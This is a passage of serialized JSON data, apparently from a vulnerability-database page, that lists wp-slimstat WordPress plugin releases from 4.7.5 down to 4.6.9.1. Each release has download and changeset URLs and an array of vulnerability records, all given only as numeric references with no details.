:278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3110,"download_url":3111,"svn_tag_url":3112,"released_at":39,"has_diff":54,"diff_files_changed":3113,"diff_lines":39,"trac_diff_url":3114,"vulnerabilities":3115,"is_current":54},"4.7.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.4.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.5",[3116,3117,3118,3119,3120,3121,3122,3123,3124,3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3137,"download_url":3138,"svn_tag_url":3139,"released_at":39,"has_diff":54,"diff_files_changed":3140,"diff_lines":39,"trac_diff_url":3141,"vulnerabilities":3142,"is_current":54},"4.7.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.4&new_path=%2Fwp-slimstat%2Ftags%2F4.7.4.1",[3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156,3157,3158,3159,3160,3161,3162],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3164,"download_url":3165,"svn_tag_url":3166,"released_at":39,"has_diff":54,"diff_files_changed":3167,"diff_lines":39,"trac_diff_url":3168,"vulnerabilities":3169,"is_current":54},"4.7.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.3.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.4",[3170,3171,3172,3173,3174,3175,3176,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187,3188,3189],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3191,"download_url":3192,"svn_tag_url":3193,"released_at":39,"has_diff":54,"diff_files_changed":3194,"diff_lines":39,"trac_diff_url":3195,"vulnerabilities":3196,"is_current":54},"4.7.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.3&new_path=%2Fwp-slimstat%2Ftags%2F4.7.3.1",[3197,3198,3199,3200,3201,3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3218,"download_url":3219,"svn_tag_url":3220,"released_at":39,"has_diff":54,"diff_files_changed":3221,"diff_lines":39,"trac_diff_url":3222,"vulnerabilities":3223,"is_current":54},"4.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.2.2&new_path=%2Fwp-slimstat%2Ftags%2F4.7.3",[3224,3225,3226,3227,3228,3229,3230,3231,3232,3233,3234,3235,3236,3237,3238,3239,3240,3241,3242,3243],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3245,"download_url":3246,"svn_tag_url":3247,"released_at":39,"has_diff":54,"diff_files_changed":3248,"diff_lines":39,"trac_diff_url":3249,"vulnerabilities":3250,"is_current":54},"4.7.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.2.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.2.2",[3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264,3265,3266,3267,3268,3269,3270],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3272,"download_url":3273,"svn_tag_url":3274,"released_at":39,"has_diff":54,"diff_files_changed":3275,"diff_lines":39,"trac_diff_url":3276,"vulnerabilities":3277,"is_current":54},"4.7.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.2&new_path=%2Fwp-slimstat%2Ftags%2F4.7.2.1",[3278,3279,3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295,3296,3297],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3299,"download_url":3300,"svn_tag_url":3301,"released_at":39,"has_diff":54,"diff_files_changed":3302,"diff_lines":39,"trac_diff_url":3303,"vulnerabilities":3304,"is_current":54},"4.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7.2",[3305,3306,3307,3308,3309,3310,3311,3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3326,"download_url":3327,"svn_tag_url":3328,"released_at":39,"has_diff":54,"diff_files_changed":3329,"diff_lines":39,"trac_diff_url":3330,"vulnerabilities":3331,"is_current":54},"4.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.7&new_path=%2Fwp-slimstat%2Ftags%2F4.7.1",[3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343,3344,3345,3346,3347,3348,3349,3350,3351],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":410,"download_url":3353,"svn_tag_url":3354,"released_at":39,"has_diff":54,"diff_files_changed":3355,"diff_lines":39,"trac_diff_url":3356,"vulnerabilities":3357,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.9.1&new_path=%2Fwp-slimstat%2Ftags%2F4.7",[3358,3359,3360,3361,3362,3363,3364,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374,3375,3376,3377],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3379,"download_url":3380,"svn_tag_url":3381,"released_at":39,"has_diff":54,"diff_files_changed":3382,"diff_lines":39,"trac_diff_url":3383,"vulnerabilities":3384,"is_current":54},"4.6.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.6.9.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.6.9.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.6.9&new_path=%2Fwp-slimstat%2Ftags%2F4.6.9.1",[3385,3386,3387,3388,3389,3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"